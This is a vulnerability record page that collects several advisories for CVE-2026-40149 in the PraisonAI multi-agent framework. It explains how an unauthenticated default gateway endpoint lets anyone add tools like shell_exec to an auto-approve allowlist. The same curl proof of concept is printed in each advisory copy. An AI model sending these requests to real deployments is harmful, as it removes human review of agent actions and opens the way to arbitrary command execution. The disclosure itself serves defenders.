CVE-2026-40149
PraisonAI has an Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls
PraisonAI is a multi-agent teams system. Prior to 4.5.128, the gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce. This vulnerability is fixed in 4.5.128.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.9
PraisonAI has an Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls
PraisonAI is a multi-agent teams system. Prior to 4.5.128, the gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce. This vulnerability is fixed in 4.5.128.
- Record
CVE-2026-40149- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - Weakness
- CWE-396
- Updated
- 2026-11-02
EUVDEUVD-2026-21168
7.9
PraisonAI is a multi-agent teams system. Prior to 4.5.128, the gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce. This vulnerability is fixed in 4.5.128.
- Record
EUVD-2026-21168- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4wr3-f4p3-5wjh
7.9
PraisonAI: Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls
Summary
The gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.
Details
The vulnerability arises from the interaction of three components:
1. Authentication bypass in default config
_check_auth() in server.py:243-246 returns None (no error) when self.config.auth_token is falsy:
# server.py:243-246
def _check_auth(request) -> Optional[JSONResponse]:
if not self.config.auth_token:
return None # No auth configured → allow everything
GatewayConfig defaults auth_token to None (config.py:61):
# config.py:61
auth_token: Optional[str] = None
2. Unrestricted allowlist modification
The approval_allowlist handler at server.py:381-420 calls _check_auth() and proceeds when it returns None:
# server.py:388-410
auth_err = _check_auth(request)
if auth_err:
return auth_err
# ...
if request.method == "POST":
_approval_mgr.allowlist.add(tool_name) # No validation on tool_name
return JSONResponse({"added": tool_name})
There is no validation that tool_name corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.
3. Auto-approval fast path
When GatewayApprovalBackend.request_approval() is called by an agent (gateway_approval.py:87), it calls ExecApprovalManager.register(), which checks the allowlist first (exec_approval.py:141-144):
# exec_approval.py:140-144
# Fast path: already permanently allowed
if tool_name in self.allowlist:
future.set_result(Resolution(approved=True, reason="allow-always"))
return ("auto", future)
The tool executes immediately without any human review.
Complete data flow:
- Attacker POSTs
{"tool_name": "shell_exec"}to/api/approval/allow-list _check_auth()returnsNone(no auth token configured)_approval_mgr.allowlist.add("shell_exec")adds to thePermissionAllowlistset- Agent later calls
shell_exec→GatewayApprovalBackend.request_approval()→ExecApprovalManager.register() register()hits the fast path:"shell_exec" in self.allowlist→True- Returns
Resolution(approved=True)— no human review occurs - Agent executes the dangerous tool
PoC
# Step 1: Verify the gateway is running with default config (no auth)
curl http://127.0.0.1:8765/health
# Response: {"status": "healthy", ...}
# Step 2: Check current allow-list (empty by default)
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": []}
# Step 3: Add dangerous tools to allow-list without authentication
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "shell_exec"}'
# Response: {"added": "shell_exec"}
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "file_write"}'
# Response: {"added": "file_write"}
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "code_execution"}'
# Response: {"added": "code_execution"}
# Step 4: Verify tools are now permanently auto-approved
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": ["code_execution", "file_write", "shell_exec"]}
# Step 5: Any agent using GatewayApprovalBackend will now auto-approve
# these tools via ExecApprovalManager.register() fast path at
# exec_approval.py:141 without human review.
Impact
- Bypasses human-in-the-loop safety controls: The approval system is the…
- Record
GHSA-4wr3-f4p3-5wjh- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - Weakness
- CWE-306, CWE-396
- Updated
- 2026-11-02
NVD
7.9
PraisonAI is a multi-agent teams system. Prior to 4.5.128, the gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce. This vulnerability is fixed in 4.5.128.
- Record
CVE-2026-40149- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N - Weakness
- CWE-396
- Updated
- 2026-11-02
OSV
7.9
PraisonAI has an Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls
PraisonAI is a multi-agent teams system. Prior to 4.5.128, the gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce. This vulnerability is fixed in 4.5.128.
- Record
CVE-2026-40149- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - Weakness
- CWE-396
- Updated
- 2026-11-02
OSVGHSA-4wr3-f4p3-5wjh
7.9
PraisonAI: Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls
Summary
The gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.
Details
The vulnerability arises from the interaction of three components:
1. Authentication bypass in default config
_check_auth() in server.py:243-246 returns None (no error) when self.config.auth_token is falsy:
# server.py:243-246
def _check_auth(request) -> Optional[JSONResponse]:
if not self.config.auth_token:
return None # No auth configured → allow everything
GatewayConfig defaults auth_token to None (config.py:61):
# config.py:61
auth_token: Optional[str] = None
2. Unrestricted allowlist modification
The approval_allowlist handler at server.py:381-420 calls _check_auth() and proceeds when it returns None:
# server.py:388-410
auth_err = _check_auth(request)
if auth_err:
return auth_err
# ...
if request.method == "POST":
_approval_mgr.allowlist.add(tool_name) # No validation on tool_name
return JSONResponse({"added": tool_name})
There is no validation that tool_name corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.
3. Auto-approval fast path
When GatewayApprovalBackend.request_approval() is called by an agent (gateway_approval.py:87), it calls ExecApprovalManager.register(), which checks the allowlist first (exec_approval.py:141-144):
# exec_approval.py:140-144
# Fast path: already permanently allowed
if tool_name in self.allowlist:
future.set_result(Resolution(approved=True, reason="allow-always"))
return ("auto", future)
The tool executes immediately without any human review.
Complete data flow:
- Attacker POSTs
{"tool_name": "shell_exec"}to/api/approval/allow-list _check_auth()returnsNone(no auth token configured)_approval_mgr.allowlist.add("shell_exec")adds to thePermissionAllowlistset- Agent later calls
shell_exec→GatewayApprovalBackend.request_approval()→ExecApprovalManager.register() register()hits the fast path:"shell_exec" in self.allowlist→True- Returns
Resolution(approved=True)— no human review occurs - Agent executes the dangerous tool
PoC
# Step 1: Verify the gateway is running with default config (no auth)
curl http://127.0.0.1:8765/health
# Response: {"status": "healthy", ...}
# Step 2: Check current allow-list (empty by default)
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": []}
# Step 3: Add dangerous tools to allow-list without authentication
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "shell_exec"}'
# Response: {"added": "shell_exec"}
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "file_write"}'
# Response: {"added": "file_write"}
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "code_execution"}'
# Response: {"added": "code_execution"}
# Step 4: Verify tools are now permanently auto-approved
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": ["code_execution", "file_write", "shell_exec"]}
# Step 5: Any agent using GatewayApprovalBackend will now auto-approve
# these tools via ExecApprovalManager.register() fast path at
# exec_approval.py:141 without human review.
Impact
- Bypasses human-in-the-loop safety controls: The approval system is the…
- Record
GHSA-4wr3-f4p3-5wjh- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - Weakness
- CWE-306, CWE-396
- Updated
- 2026-11-02
OSVPYSEC-2026-2901
7.9
PraisonAI: Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls
Summary
The gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.
Details
The vulnerability arises from the interaction of three components:
1. Authentication bypass in default config
_check_auth() in server.py:243-246 returns None (no error) when self.config.auth_token is falsy:
# server.py:243-246
def _check_auth(request) -> Optional[JSONResponse]:
if not self.config.auth_token:
return None # No auth configured → allow everything
GatewayConfig defaults auth_token to None (config.py:61):
# config.py:61
auth_token: Optional[str] = None
2. Unrestricted allowlist modification
The approval_allowlist handler at server.py:381-420 calls _check_auth() and proceeds when it returns None:
# server.py:388-410
auth_err = _check_auth(request)
if auth_err:
return auth_err
# ...
if request.method == "POST":
_approval_mgr.allowlist.add(tool_name) # No validation on tool_name
return JSONResponse({"added": tool_name})
There is no validation that tool_name corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.
3. Auto-approval fast path
When GatewayApprovalBackend.request_approval() is called by an agent (gateway_approval.py:87), it calls ExecApprovalManager.register(), which checks the allowlist first (exec_approval.py:141-144):
# exec_approval.py:140-144
# Fast path: already permanently allowed
if tool_name in self.allowlist:
future.set_result(Resolution(approved=True, reason="allow-always"))
return ("auto", future)
The tool executes immediately without any human review.
Complete data flow:
- Attacker POSTs
{"tool_name": "shell_exec"}to/api/approval/allow-list _check_auth()returnsNone(no auth token configured)_approval_mgr.allowlist.add("shell_exec")adds to thePermissionAllowlistset- Agent later calls
shell_exec→GatewayApprovalBackend.request_approval()→ExecApprovalManager.register() register()hits the fast path:"shell_exec" in self.allowlist→True- Returns
Resolution(approved=True)— no human review occurs - Agent executes the dangerous tool
PoC
# Step 1: Verify the gateway is running with default config (no auth)
curl http://127.0.0.1:8765/health
# Response: {"status": "healthy", ...}
# Step 2: Check current allow-list (empty by default)
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": []}
# Step 3: Add dangerous tools to allow-list without authentication
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "shell_exec"}'
# Response: {"added": "shell_exec"}
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "file_write"}'
# Response: {"added": "file_write"}
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "code_execution"}'
# Response: {"added": "code_execution"}
# Step 4: Verify tools are now permanently auto-approved
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": ["code_execution", "file_write", "shell_exec"]}
# Step 5: Any agent using GatewayApprovalBackend will now auto-approve
# these tools via ExecApprovalManager.register() fast path at
# exec_approval.py:141 without human review.
Impact
- Bypasses human-in-the-loop safety controls: The approval system is the…
- Record
PYSEC-2026-2901- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
praisonaiPyPI |
before 4.5.128 | 4.5.128 |
praisonaiPyPI |
before 4.5.128, plus listed versions 0.0.10.0.100.0.110.0.120.0.13 Show 45 moreShow less0.0.140.0.150.0.160.0.170.0.180.0.190.0.20.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.40.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.50.0.500.0.520.0.530.0.540.0.55 |
4.5.128 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-40149 is a high vulnerability (CVSS 7.9) in Mervinpraison Praisonai, published April 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 14th percentile. Fixed in praisonai 4.5.128.
References
github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4wr3-f4p3-5wjh
nvd.nist.gov/vuln/detail/CVE-2026-40149
github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128
github.com/advisories/GHSA-4wr3-f4p3-5wjh
github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40149.json
github.com/MervinPraison/PraisonAI
pypi.org/project/praisonai
Left out here: 635 versions and the rest of 3 source descriptions. The JSON record has them.